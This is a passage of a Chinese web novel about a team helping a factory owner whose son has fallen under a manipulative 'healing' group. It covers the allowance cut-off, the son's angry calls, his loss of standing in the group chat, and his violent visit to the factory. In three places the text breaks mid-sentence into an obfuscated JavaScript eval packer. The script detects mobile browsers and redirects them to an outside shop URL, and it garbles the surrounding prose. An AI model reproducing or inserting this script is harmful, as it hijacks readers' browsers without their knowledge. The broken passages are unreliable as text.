“您在精神上也没有给他太多压力,成绩不管,专业不管,未来不管,这本来是一种开明的教育方式,可是对有些孩子来说,他会觉得,‘你们根本不在乎我’。” 吴小糖在旁边若有所思。 “您忙于工作,陪伴时间少,他虽然物质上什么都不缺,但情感上可能有空缺,这种空缺,会让他觉得,‘你们不爱我,只是拿钱打发我’。” 俞彩虹说完,看着林国华。 林国华点点头。 “是。” 他低下头,声音有点哑。 “我这些年,确实只会给钱,他要什么我给什么,他想怎么样就怎么样,我以为这就是对他好,我从来没问过他,他心里怎么想。” / 办公室里安静了几秒。 然后徐寄遥开口了。 “林先生,这些已经过去了,我们现在要做的,是解决眼前的问题。” 她看着林国华。 “我想问一下,您儿子现在的经济状况,您了解吗?” 林国华愣了一下。 “他……他卡里应该还有点钱吧?” 徐寄遥说: “他转了20万给心之愈,这20万是您给他的?” 林国华点点头。 “那是从小给他攒的压岁钱,我都给他存着,到大学也有几十万了。” 徐寄遥问: “那他平时每个月,您还给他零花钱吗?” 林国华说: “给,每个月固定给他一万,不够他再要,三五千的,只要孩子开口就给他转,算下来,一个月差不多也有小两万。” 吴小糖倒吸一口凉气。 每个月两万? 林国华看到她的表情,苦笑了一下。 “我就这么一个儿子,总想让他过得好点,钱能给就给,他高兴就行。” / 俞彩虹问: “那他这次交了20万之后,手头还剩多少?” 林国华算了算。 “他卡里原本应该有三四十万,交了20万,加上日常花销,十来万应该还有吧。” 吴小糖在旁边说: “林浩然这一个月,发红包、交杂费,估计花了不少,按他那个发红包的手笔,一个月一两万轻轻松松。” 林国华沉默了。 他儿子在那个群里,一个月发一两万的红包。 却不愿意接他一个电话。 徐寄遥看着他。 “林先生,我有一个想法。” 林国华抬起头。 “您说。” 徐寄遥说:“从下个月开始,断掉他的零花钱。” / 林国华愣住了。 “断掉?” 徐寄遥点点头。 “他现在之所以能在群里当大佬,是因为有钱,每个月两万块的零花钱,加上卡里那十几万,够他在那个群里维持很久的地位。” 她顿了顿。 “要是这笔钱断了呢?” 林国华没说话。 徐寄遥继续说: “他现在卡里还剩十几万,按他这个花法,能撑多久?等他钱花光了,发不出红包了,那些捧他的人还会叫他浩然哥吗?” 俞彩虹接过话头。 “林先生,那种社群是靠短期利益维系的,钱在,地位在,钱没了,地位就没了,等他发现那些吹捧他的人都是虚情假意的,他才会开始怀疑那个群。” 林国华的手握紧了。 “您的意思是……让他自己发现?” 徐寄遥点点头。 “我们当然可以直接告诉他真相,但现在这种状态,他听得进去吗?他只会觉得你在骗他,想把他拉回去继续控制他。” 她顿了顿。 “但如果是他自己发现的,效果就不一样了。” / 徐寄遥往前坐了坐,看着林国华的眼睛。 “林先生,我想给您详细分析一下,这个方案具体会带来什么,会发生什么。” 林国华坐直了身体。 “您说。” 徐寄遥说: “假设他现在卡里还剩十万,以他在群里的活跃程度,每天发红包,加上每天的花销,一个月至少花一两万,最多三个月,他的钱就会见底。” 俞彩虹接过话头。 “钱花完之后,会发生三件事。” 林国华认真听着。 俞彩虹说: “第一,他发不出红包了,那些叫他浩然哥的人,会慢慢冷落他,不是因为他们坏,是因为维系表面关系的利益消失了,有钱的时候,你是大佬,没钱的时候,你自动边缘化。” 吴小糖在旁边补充: “是的!我在那个群里亲眼看到了!之前有个人,也是金色星星学员,后来没钱了,发消息都没人理!他发了一条‘最近有点难’,下面零回复!才过了一周,他就不再说话了,后来居然退群了!” 俞彩虹点点头: “第二,他会开始怀疑,为什么以前叫我浩然哥的人,现在不理我了?为什么我发消息没人回了?这种怀疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303435|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是打破洗脑的第一步,他会开始回想,那些人到底是真的关心他,还是只关心他的红包。” 俞彩虹继续说: “第三,等他开始怀疑那个群,他就会开始回想这几个月发生的事,他会想,自己是怎么和父母闹翻的?是怎么变成现在这样的?是谁告诉他‘父母在操控你’?到那个时候,我们再出现,他才能听进去我们的话。” 徐寄遥补充道: “这个过程,必须他自己完成,别人告诉他的,他不信,只有他自己撞了南墙,才会回头。” / 林国华听着,眼睛里慢慢有了光。 “所以……不是不管他,是等他自己发现?” 徐寄遥点点头。 “对,这叫认知失调,当一个人发现,他深信不疑的东西,和现实发生冲突时,他才会重新思考。” 林国华沉默了很久。 他看着窗外,看着院子里堆成山的纸箱,看着那台正在装货的卡车。 过了很久,他开口。 “徐老师,您这个办法,要让他吃多少苦?” 徐寄遥说: “不知道,也许一个月,也许两个月,等他把钱花完,等那些人变脸,他就会明白。” 林国华说: “他要是明白了,能回来吗?” 徐寄遥摇摇头。 “不一定,但至少,他会开始怀疑,只要他开始怀疑,我们就有机会。” 林国华又沉默了。 然后他拿出手机,给王秀芬发了一条消息。 “代吵这边有进展了,徐老师建议从下个月开始断掉浩然的零花钱,你觉得呢?” 发完消息,他握着手机,等着。 / 过了几分钟,手机震了。 王秀芬的回复很长。 “老林,我想了想,徐老师说得有道理,浩然现在根本听不进去我们的话,我们说什么他都觉得是控制,让他自己受点磋磨,可能真的是唯一办法。” “钱没了可以再挣,但人要是被骗得太深,就真的回不来了,我同意,从下个月开始,一分钱都不给他,他要是打电话来骂我们,我也认了,只要他好好的就行。” “我想起他小时候,每次我给他买东西,他都说‘妈妈最好’,可后来他大了,要的东西越来越贵,说的话却越来越少,我不知道什么时候开始,他变成这样了。” “也许真的是我们错了,我们只知道给钱,不知道他心里想什么,他怪我们,也该怪。” “老林,不管他以后怎么对我们,我都不怪他,我只希望他好好的,平平安安的,别被人骗。” 林国华看着那条消息,眼眶红了。 他把手机递给徐寄遥。 “徐老师,秀芬同意了。” 徐寄遥看了一眼,点点头。 “林先生,这个决定不容易,您放心,我们会一直盯着,等他那边有什么变化,第一时间告诉您。” 林国华站起来。 “徐老师,俞老师,小糖老师,拜托你们了。” / 吴小糖看着林国华,眼眶有点红。 她想起刚才王秀芬的那条消息。 “他要是打电话来骂我们,我也认了……” 她忽然觉得,林浩然的妈妈,比她想象的要坚强得多。 俞彩虹在旁边轻轻叹了口气。 “林先生,等浩然那边有了动静,我们会及时通知您,这段时间,您和太太也要照顾好自己。” 林国华点点头。 “我知道,谢谢您,俞老师。” / 从厂里出来,已经是下午四点多。 阳光斜斜地照在院子里,把那些纸箱的影子拉得很长。 三个人站在门口等网约车。 吴小糖一直没说话。 上车之后,她才开口。 “寄遥姐,你说他们真舍得吗?” 徐寄遥伸手,把吴小糖有点乱的刘海顺了顺。 “舍不得,但没办法。” 俞彩虹轻轻说: “小糖,这就是父母,宁可让孩子恨自己,也要把他从坑里拉出来。” 吴小糖点点头。 她想,林浩然一定会醒的。 因为他的爸妈在等他。 36.林国华的困境(六):父子对峙 2025年6月13日,上午十点。 徐寄遥的手机响了。 来电显示:林国华。 她按下接听键。 “林先生?” 电话那头的声音很激动,带着一种说不清的复杂情绪。 “徐老师!浩然……浩然加回我们微信了!” 徐寄遥愣了一下。 “什么时候的事?” “昨天晚上!他突然把我们加回来了,我还以为是有什么好事,结果……” 林国华的声音低下去。 “结果他是来吵架的。” / 事情是这样的。 昨天晚上九点多,林浩然突然把父母从黑名单里放了出来。 林国华看到那条通过好友验证的消息时,手都在抖。他以为儿子终于想通了,终于愿意回家了。 他还没来得及发消息,林浩然的微信就过来了。 一条语音。 林国华点开听。 林浩然的声音很冲,带着愤怒。 “爸!我的信用卡怎么回事?!为什么被冻结了!?” 林国华愣住了。 他没想到,儿子加回他们,是为了这个。 他深吸一口气,回复了一条语音。 “浩然,你先别急,爸有话跟你说。” 林浩然很快回复。 “说什么说!你们就是故意的!把我钱断了,想逼我回去!李老师说得对,父母就是这样,只要孩子不听话,就用钱来卡!” 林国华握着手机,半天说不出话。 “浩然,爸不是想卡你……” “不是想卡我?那你们什么意思?我告诉你们,我已经觉醒了!我再也不会被你们操控了!你们以为断我钱就能让我回去?做梦!” / 王秀芬在旁边听到了,一把抢过手机。 “浩然,你怎么能这么说你爸?你一个月不接电话,不回消息,你知道我们怎么过的吗?” 林浩然的回复很快。 “你们怎么过的?你们不就是担心我不听你们的话吗?担心我脱离你们的控制吗?!” 王秀芬愣住了。 “浩然,妈是担心你被骗……” “被骗?我被谁骗?李老师是真正懂我的人!你们呢?你们除了给钱还会什么?从小到大,你们管过我吗?我学习怎么样你们关心过吗?我心里想什么你们知道吗?!” 王秀芬的眼泪当时就下来了。 “浩然,妈怎么没管你?你小时候发烧,妈抱你一晚上没睡……” 林浩然打断她。 “那是你们应该做的!当父母的,不应该吗?你们生了我,不应该养我吗?你们给我钱,不应该吗?现在倒好,给钱成了你们的功劳了?” 王秀芬愣住了。 她不知道该说什么了。 / 林国华接过手机,声音沙哑。 “浩然,爸承认,这些年陪你的时间不多,爸一直在忙厂里的事,想多挣点钱给你攒着,但是爸妈从来没有想过要控制你。” 林浩然冷笑。 “没想控制?那你们现在在干什么?我花我自己的钱,你们凭什么断?” 林国华说: “那20万是爸妈从你小时候给你攒的,你一下子全转出去,爸妈能不担心吗?” “担心?你们担心什么?担心我花钱花错了?李老师说了,父母对子女最大的伤害,就是永远把子女当孩子,永远不相信子女的判断!” 林国华沉默了,他是真不知道如何应对这些话。 林浩然继续说: “你们以为我还是那个听你们话的小孩子吗?我已经长大了,我有自己的想法,我有自己的人生!你们凭什么用钱来卡我?” 王秀芬忍不住了。 “浩然,妈不是想卡你,妈是真的担心你被人骗了,那个心之愈,妈去了解过……” “你了解什么?你凭什么去了解?那是我的事!你们就是这样,什么都要插手,什么都要管!李老师说得对,这种关心就是最可怕的情感勒索!” / 王秀芬哭得说不出话。 林国华深吸一口气。 “浩然,爸最后问你一句,那个群里的人,你了解他们多少?他们对你是真心还是假意,你看不出来吗?” 林浩然沉默了几秒。 然后他发了一条消息。 “你们根本不懂!那个群里都是和我一样的人!我们互相理解,互相支持!这才是真正的家!你们算什么?你们只是生了我而已!” 王秀芬哭着说: “浩然,妈求你回来好不好?!妈想你啊……” “想我?想我就是查我?想我就是断我钱?你们这叫想我?说到底,你不就是要控制我!” 林浩然越说越激动。 “我告诉你们,我不可能回去!那个代吵APP,李老师早就说过,他们是和解大师的竞争对手!专门跟和解大师对着干!你们找他们,不就是想跟我对着干吗?” 林国华愣住了。 / 这条消息之后,林浩然再也没有回复。 林国华发了十几条消息,都被拒收了。 他又被拉黑了。 林国华说完这些,电话那头沉默了。 徐寄遥听着,心里很沉。 “林先生,您现在方便吗?我们当面聊。” 林国华说:“好,我在厂里。” / 一个半小时后,三个人再次坐在林国华的办公室里。 林国华比上次更憔悴了。眼眶更深,头发更白,整个人像老了五岁。 他把手机递给徐寄遥。 “徐老师,您听听吧,都在这儿了。” 徐寄遥一条一条听完那些语音,沉默了很久。 俞彩虹也听了,眉头皱得很紧。 吴小糖听完,眼眶红了。 “他怎么能这样跟爸妈说话?” 俞彩虹叹了口气。 “心之愈的那些话术,都是他们课程里的标准答案,什么‘父母养孩子是应该的’、‘担心就是控制’、‘关心就是情感勒索’,都是洗脑话术。” 徐寄遥点点头。 “这些话术最狠的地方,就是让你没法反驳,你说你爱他,他说你是控制,你说你担心他,他说你是情感勒索,你说你给钱是为他好,他说那是你欠他的。” 林国华低着头,肩膀在抖。 “我……我从来没想过,他会变成这样……” / 俞彩虹往前坐了坐。 “林先生,您别太难过,您儿子的这些反应,恰恰说明我们的判断是对的。” 林国华抬起头。 “对的?” 俞彩虹点点头。 “他现在最在乎的,就是那个群里的地位,钱断了,他来找你们吵架,根源是他害怕失去那个地位。” 她顿了顿,继续深入分析: “您仔细听他说的话,每一句都有明确的逻辑结构。” “第一,‘你们就是故意的’,这是在构建一个敌对叙事,把你们塑造成加害者。第二,‘我已经觉醒了’,这是在给自己贴标签,确立一个觉醒者的身份认同。第三,‘李老师说得对’,这是在引用权威,为自己的立场寻找合法性。第四,‘你们除了给钱还会什么’,这是在否定你们所有的付出,把复杂的亲子关系简化为一个可控的负面叙事。” 俞彩虹看着他。 “林先生,您知道这意味着什么吗?” 林国华摇头。 俞彩虹说: “这意味着他已经完全内化了心之愈的话语体系。” “他不再用自己的脑子思考,而是用别人教给他的框架来理解一切。” “你们给他钱,他说是控制,你们不给他钱,他说是惩罚,你们关心他,他说是情感勒索,你们不管他,他说是漠视。这是一个闭环,一个无论你们做什么都能被解释成‘错’的闭环。” 徐寄遥接过话头。 “林先生,这个闭环最可怕的地方在于,您永远赢不了,因为规则是别人定的,裁判也是别人的人,您越努力解释,他越觉得您在狡辩,您越表达爱,他越觉得您在表演。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308275|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林国华的手握紧了。 “那我该怎么办?我什么都不能说,什么都不能做?” 徐寄遥说: “您现在能做的,就是不按他们的规则玩。” / 林国华愣住了。 徐寄遥继续说: “他现在之所以这么激动,是因为您的断钱行动确实戳到了他的痛处,他来找您吵架,不是真的想解决问题,而是想逼您让步,恢复他的经济来源,只要您让步,他就赢了,他的觉醒者身份就得到了验证。” “那我不让步呢?” 俞彩虹接过话头。 “如果您不让步,他会经历几个心理阶段。” “第一是愤怒,就是您现在看到的这样。第二是威胁,他会说更难听的话,甚至可能做出更极端的事。第三是讨价还价,他会试图和您谈判,比如‘只要你们恢复一半,我就不闹了’。第四是郁闷,当他发现所有办法都没用时,他会陷入自我怀疑。第五才是接受,接受现实,开始反思。” 她顿了顿。 “他现在在第一阶段,您要做的,就是扛过前三个阶段,等他进入第四阶段,到那时候,他才会真正开始思考。” 徐寄遥补充道: “而且,林先生,您要明白一件事,他在那个群里被追捧了那么久,突然失去经济来源,失去那些追捧他的人,那种落差是非常大的,他越愤怒,越说明他害怕,他越害怕,越说明他已经在怀疑了,只是他不敢承认。” 林国华问: “那他要怀疑到什么时候,才能醒?” 徐寄遥说: “这取决于他能在那个群里撑多久,取决于那些人什么时候变脸,取决于他自己,什么时候愿意面对现实。” 她看着林国华的眼睛。 “有一件事是确定的,如果您现在让步,他就永远不会有怀疑的机会了。” / 吴小糖在旁边说: “林叔叔,我在那个群里盯着呢,那些人现在还在安慰他,说什么‘父母都是这样’‘坚持住就是胜利’,等他发不出红包了,那些人就会开始冷落他,到那时候,他才会发现,那些人根本不在乎他。” 俞彩虹点点头。 “小糖说得对,那种社群的本质就是短期利益交换。您儿子以为自己在交朋友,其实他在买朋友,等钱没了,朋友就没了。这个过程会很痛,但只有痛过,才能醒。” 林国华沉默了。 他低着头,盯着茶几上的茶杯,盯了很久。 他的手指摩挲着杯沿,一遍又一遍。 然后他抬起头。 “徐老师,俞老师,小糖老师,我听你们的。” 他的声音很轻,但很坚定。 “浩然那边,你们帮我盯着,他要是骂我,我受着,他要是恨我,我认了,只要他最后能醒过来。” / 徐寄遥看着他。 “林先生,您确定吗?” 林国华点点头。 “确定。” 徐寄遥说: “这条路会很苦,他可能会做出更极端的事,可能会说更难听的话,可能会彻底跟你们决裂,您能受得了吗?” 林国华沉默了几秒。 然后他说: “徐老师,我开这个厂二十年,什么苦没吃过?我从来没怕过。” 他顿了顿。 “我怕的只有一件事,怕浩然醒不过来。” 俞彩虹轻轻说: “林先生,您放心,只要您能坚持住,他一定会醒的。” / 从厂里出来,又是下午。 车往市区开去。 徐寄遥的手机震了一下。 是应宽发来的消息。 “寄遥,林浩然刚才在群里发了条消息,说他父母断他钱,骂了一通,群里一堆人安慰他,让他坚持住,说这是父母最后的挣扎。” 徐寄遥看着那条消息,沉默了几秒。 她回复: “继续盯着,看那些人能安慰他到什么时候。” 然后她放下手机,看着窗外。 天快黑了。 37.林国华的困境(七):红包不说话 2025年6月15日,晚上九点。 吴小糖窝在工作室的沙发上,手机屏幕亮着,是那个“心之愈·觉醒之路”的微信群。 她已经连续盯了五天。 五天里,林浩然在群里发过三次消息。 第一次是骂父母断他钱,第二次是抱怨原生家庭的毒害,第三次是求安慰。 前两次,群里一片附和。 “浩然哥挺住!” “父母就是这样,永远不想放手!” “觉醒路上有我们,不怕!” 但第三次,风向有点变了。 有人开始发一些奇怪的回复。 “浩然哥,这些事私聊说就好了,群里还是多聊聊成长吧。” “是啊,老说这些负能量的,大家看着也难受。” “多分享分享课程心得呗。” 吴小糖一条一条看下去,心里暗暗记下。 应宽在旁边问:“怎么了?” 吴小糖把手机递给他。 “你看,开始有人不买账了。” 应宽看了几眼,冷笑了一声。 “正常,林浩然这几天没发红包,光顾着抱怨了,那些捧他的人,捧的是他的红包,不是他这个人。” / 6月16日,林浩然又发了一条消息。 这次是转发的一篇心之愈的文章,标题叫《原生家庭创伤的自我疗愈路径》。 他配了一句话: “李老师的这篇文章,我看了三遍,每次看都有新的收获。” 下面稀稀拉拉几条回复。 “浩然哥进步好快。” “向浩然哥学习。” “加油!” 但点赞数明显少了。 以前他一发消息,少说几十个赞。今天这条,发了一个小时,只有十来个人发赞。 吴小糖截图,发给徐寄遥。 “寄遥姐,你看。” 徐寄遥看了一眼,没说话。 俞彩虹在旁边说: “这是必然的,那个群就是靠钱维系的,钱没了,地位就没了,林浩然现在还意识不到,再过几天他就会发现,那些叫他浩然哥的人,一个都不会帮他。” 俞彩虹顿了顿,放下手里的书,往吴小糖这边靠了靠。 “小糖,你注意到没有,那些回复的人,都是什么等级的?” 吴小糖愣了一下,翻了翻聊天记录。 “回复他的那几个,都是灰色水滴和青铜圆圈,那几个金色星星的,一个都没出现。” 俞彩虹点点头。 “这就对了,金色星星是交钱最多的,也是既得利益者,他们很清楚这个群里的规则:钱说话。林浩然没钱了,对他们来说就没有价值了,他们不会浪费时间在他身上,但是那些灰色水滴和青铜圆圈,还在群里底层,他们需要抱大腿,所以还会敷衍几句,不过这种敷衍,又能持续多久呢?” 她看着吴小糖。 “等林浩然连敷衍都得不到的时候,他就彻底被边缘化了。” / 6月17日,群里来了个新人。 ID叫新生的阿杰,金色星星,一进群就发了三个大红包。 吴小糖点开一看,第一个红包68,第二个128,第三个188。 群里瞬间炸了。 “欢迎阿杰哥!” “阿杰哥大气!” “阿杰哥是做什么的?求带!” 那个叫阿杰的人发了一个微笑的表情。 “刚完成疗愈,和家里切割了。以后就是新的人生,兄弟姐妹们一起加油!” 下面又是一波吹捧。 “阿杰哥太棒了!” “向阿杰哥学习!” “阿杰哥多发点心得,我们跟着学!” 吴小糖看着那些消息,心里五味杂陈。 她想起林浩然刚来的时候,也是这样的待遇。 发红包,被捧,被叫浩然哥。 这才一个月不到,就有人取代他了。 / 吴小糖给徐寄遥发消息。 “寄遥姐,群里来了个新人,比林浩然手笔还大,林浩然现在发的都是28、38的红包,都不够看了。” 徐寄遥回复: “盯着,看林浩然什么反应。” 吴小糖继续盯着。 晚上十点多,林浩然终于冒泡了。 他发了一条消息,语气有点酸。 “新人这么高调?我们这些老人都没说话呢。” 下面有人回复。 “浩然哥,阿杰哥刚来,热情高正常嘛。” “是啊是啊,浩然哥也发几个红包活跃一下气氛呗。” 林浩然没回复。 吴小糖看着那条消息,心里有点替他难过。 他以前一发话,一堆人附和。现在别人让他发红包,他发不出来,就没人理他了。 / 6月18日,俞彩虹来工作室。 吴小糖把这几天的观察跟她说了。 俞彩虹听完,点点头。 “差不多了,林浩然现在处境会很尴尬,他发不出红包,群里人对他的热情就会消退,那个新来的阿杰,正好填补了他的位置。” 吴小糖问: “那他会不会意识到自己被坑了?” 俞彩虹摇摇头。 “不会那么快,他现在只会觉得委屈,觉得别人不理解他。” 她顿了顿,往前坐了坐。 “小糖,你记住,洗脑最可怕的地方,不是让人相信一套假的道理,而是让人对真的道理产生免疫力。” “林浩然现在就是这样,他已经接受了心之愈的那套话语体系,遇到任何问题,他都会用那套话语去解释。” “别人冷落他,他会解释成‘觉醒路上的考验’,自己发不出红包,他会解释成‘父母操控的结果’,他有一套完整的逻辑闭环,把所有不符合他期待的事情,都解释成对他信仰的验证。” 吴小糖听得后背发凉。 “那……那他什么时候才能醒?” 俞彩虹说: “等这个闭环被现实打穿,等他的钱花完了,那些兄弟姐妹们彻底不理他了,等他发现李曼青根本不关心他死活,只是惦记他的学费时,那套解释就会开始失效。到那时候,他才会开始真正怀疑。” 她顿了顿。 “这个过程会很痛苦,比现在痛苦一百倍。他现在还能骂父母,还能怨别人,还能觉得自己是对的,到那时候,他会发现自己什么都没了,连对错都不知道了。” / 徐寄遥走过来,在她们旁边坐下。 “小糖,俞老师说的这个闭环,你可以好好观察,接下来几天,林浩然可能会有几个典型的心理反应。” 吴小糖看着她。 徐寄遥说: “第一,他会加倍努力表现自己。发一些看起来很深刻的感悟,转发课程文章,试图重新获得关注。但他会发现,没人看。” “第二,他会开始抱怨,但不是抱怨群里的人,而是抱怨父母。因为抱怨父母是安全的,是群里的‘政治正确’。他会把所有的情绪都发泄在父母身上,继续强化自己‘受害者’的身份。” “第三,当他发现抱怨也没用的时候,他会陷入沉默。这个沉默期很关键,他开始怀疑了,但他不敢说出来,怕被群嘲。” “第四,他会试探性地发一些模棱两可的话,比如‘最近有点迷茫’、‘不知道该怎么办’。如果这时候有人关心他,他可能会抓住救命稻草。如果没人理他,他就彻底掉进自我怀疑的深渊。” 她看着吴小糖。 “你现在就在见证这个过程,好好看着,以后遇到类似的案例,你就能提前判断走势了。” / 6月19日,林浩然又在群里发了一条消息。 这次不是抱怨,不是分享,而是发了一个红包。 188块。 红包上面写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314403|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着: “谢谢兄弟姐妹们一直以来的支持。” 吴小糖点开一看,188块被抢得很快。但抢完之后,群里就安静了。 没人说谢谢。没人叫浩然哥。没人捧场。 只有几个“收到”的表情。 林浩然又发了一条。 “最近有点难,等熬过这阵子,再给大家发大的。” 还是没人回复。 过了几分钟,那个新来的阿杰发了一个888的红包。 群里瞬间又热闹起来。 “阿杰哥太棒了!” “阿杰哥大气!” “跟着阿杰哥有肉吃!” 吴小糖看着那些消息,心里凉了半截。 她截图发给徐寄遥。 “寄遥姐,林浩然被无视了。” / 晚上,代吵团队开会。 吴小糖把这几天的观察一条一条说出来。 “6月15号开始,就有人对他不耐烦了。” “6月17号新来的阿杰,比他手笔大,人气比他高。” “6月19号林浩然发红包,188块,没人理,阿杰发了888块,一堆人捧臭脚。” 她顿了顿。 “林浩然现在在群里,已经没什么存在感了。” 俞彩虹点点头。 “正常,你发得起红包,你就是哥,你发不起,你就是空气。” 应宽说: “我查了一下那个阿杰,他刚交了20万,也是金星学员,而且他交钱的时间点,正好是林浩然断钱之后。” 徐寄遥问:“这是巧合吗?” 应宽摇摇头。 “不知道,心之愈那边,肯定知道林浩然的情况,他们推新人出来,会不会是故意刺激林浩然?如果他被刺激得受不了,可能会找父母闹,一闹,说不定钱又续上了。” 徐寄遥说: “林浩然现在已经被架在火上烤了,他想维持自己浩然哥的形象,就必须继续发红包,但他又没钱了。他想退出这个群,可是沉没成本已经足够大了,他舍不得那种被追捧的感觉。” “现在他进退两难,最后一定会找个出口撒气。” 吴小糖问: “那他会找谁?” 俞彩虹说: “父母,因为父母是最安全的,不管怎么闹,父母都不会抛弃他。这是人类的本能,在最无助的时候,人们往往会回到最安全的地方。” 徐寄遥看着吴小糖。 “小糖,你这几天要继续盯着,尤其注意他会不会提父母,会不会说要回家,或者说要报复父母,这些都是信号。” 吴小糖点点头。 “我知道了。” / 6月20日,林浩然又在群里发了一条消息。 这次是一条长信息。 “我最近在想,觉醒路上最难的是什么?不是认清父母,不是切割关系,而是坚持自己。我知道很多人都看不起我了,觉得我没用了。但我告诉你们,我不会放弃,我一定会坚持到底。” 群里回应的寥寥几条。 “浩然哥加油。” “坚持就是胜利。” “别想太多,专注自己。” 没了。 吴小糖看着那些评论,忽然有点难过。 她想起林国华说的那些话。 “只要他最后能醒过来,什么都行。” 她想,快了。 林浩然很快就能看清那个群的真面目了。 / 晚上,吴小糖给徐寄遥发消息。 “寄遥姐,林浩然今天发了条长消息,可是没什么人理他。” 徐寄遥回复: “快了,等他再被无视几次,他就会开始怀疑了,但是怀疑只是第一步,他还需要外力帮他理清思路,帮他看到那个群的真面目,到那时候,我们再出现。” 吴小糖放下手机。 那个群里的戏,还在继续。 38.林国华的困境(八):正面冲突 2025年6月23日,早上七点半。 徐寄遥的手机响了。 她刚起床,看到来电显示是林国华,心里咯噔一下。 “林先生?” 电话那头传来的不是林国华的声音,而是一片嘈杂,有人在吼,在砸东西,有女人在哭,还有什么重物摔在地上的闷响。 “徐老师!”林国华的声音沙哑,带着压抑不住的愤怒,“浩然来了!他到厂里来了!” 徐寄遥立刻清醒了。 “您别急,慢慢说。发生什么事了?” “他一大早就冲进来,让我给他恢复信用卡!我不答应,他就砸东西!他把车间里那台进口印刷机砸了,整个生产线都停了!” 电话那头又是一阵巨响,夹杂着林浩然的吼声: “你不恢复,我天天来!我看你这厂还开不开得下去!” 徐寄遥深吸一口气。 “林先生,您冷静。我们马上过来!您先别跟他硬碰,安全第一。” 挂了电话,她立刻给应宽、吴小糖、俞彩虹发消息。 “紧急情况。林浩然去他爸厂里闹事了,所有人集合,马上出发去燕郊。” / 八点四十分,车停在华兴包装制品有限公司门口。 还没进去,就听到里面的吵闹声。 厂门大开着,几个工人站在门口,不敢进去。 看到徐寄遥他们下车,一个中年男人快步迎上来。 “你们是林总找的人吧?快进去!里面快打起来了!” 四个人快步穿过院子,往车间方向跑。 车间门口围着一群人。有工人,有保安,都在那儿站着,不知道该怎么办。 他们挤进去,看到了里面的场景。 车间里一片狼藉。 一台印刷机歪在一边,零件散了一地,控制面板被砸得稀烂。纸箱半成品被踢得到处都是,地上还有几滩不知道是什么的液体。 林浩然站在车间中央,脸红脖子粗,冲着林国华嘶吼。 林国华站在他对面,脸色铁青,浑身发抖。 王秀芳站在旁边,已经哭得说不出话。 林浩然旁边还站着两个人,一男一女,二十出头的样子。 女的手里拿着手机,正在拍视频。 / 林浩然的声音越来越大,整个车间都是他的回音。 “你们不是爱我吗?爱我就是断我钱?爱我就是让我活不下去?你们这叫爱?这叫控制!李老师说得对,你们这种人,根本不配当父母!” 王秀芳哭着说: “浩然,妈怎么会让你活不下去?妈只是担心你被人骗……” “被骗?我被谁骗?李老师是骗我?群里那么多兄弟姐妹是骗我?他们比你们真心多了!你们呢?你们除了给钱还会什么?” 林国华开口了,声音沙哑。 “浩然,爸承认陪你的时间少,但爸从来没有想过要控制你,从小到大,爸逼过你什么?” 林浩然冷笑,那笑容扭曲得吓人。 “你们不逼我,是因为根本不在乎我!” “你们眼里只有钱!我考多少分你们不关心!我上什么专业你们不在意!不就是因为你们根本不在乎我吗?” 他往前走了一步,指着林国华的鼻子。 “你们这种人,根本不懂什么是爱!” “你们以为给钱就是爱?!你们错了!大错特错!!” “李老师说得对,你们这种自我感动式的给予,才是最可怕的操控!!” 王秀芳哭着说: “浩然,妈妈怎么不在乎你?你从小到大,妈为你操了多少心……” “那是你应该的!当父母的,不应该吗?!” 林浩然打断她,声音尖利得像刀子。 “你们生了我,不应该养我吗?!你们给我钱,不应该吗?!” “给亲生儿子钱还成了你们的功劳了?!” 他转过身,指着那台被砸坏的印刷机。 “你们不是有钱吗?厂里买得起这么好的机器,给自己儿子一点钱就舍不得?!” “我告诉你们!今天不把我的卡给恢复,明天我继续来砸!!后天我也来砸!!我砸到你们给为止!!” / 林国华的脸从铁青变成惨白。 “浩然!你知不知道这台机器多少钱?!八十万!!你砸了它,厂里多少工人没活干?!” 林浩然笑了,笑得疯狂。 “工人?!工人关我什么事?!他们是你的工人!又不是我的!” “你不是爱我吗?!你不是为我好吗?!那你把卡给我恢复啊!!” 林国华气得浑身发抖,一句话都说不出来。 王秀芳扑过去,想拉住林浩然。 “浩然!妈求你了!别闹了行不行?!你想要什么妈都给你!你别砸东西……” 林浩然一把甩开她。 “滚开!你别碰我!!” 王秀芳被甩得踉跄几步,眼看就要摔倒在地。 / 一道身影冲了过去。 吴小糖。 她一米七五的体格子,常年健身练出来的肌肉,冲起来像一辆小坦克。 她一把扶住王秀芳,另一只手猛地推向林浩然。 林浩然猝不及防,被推得倒退了好几步,撞在一堆纸箱上,差点摔倒。 “你干什么!” 他站稳之后,冲着吴小糖大吼。 吴小糖挡在王秀芳面前,盯着他,一动不动。 “她是你妈!” 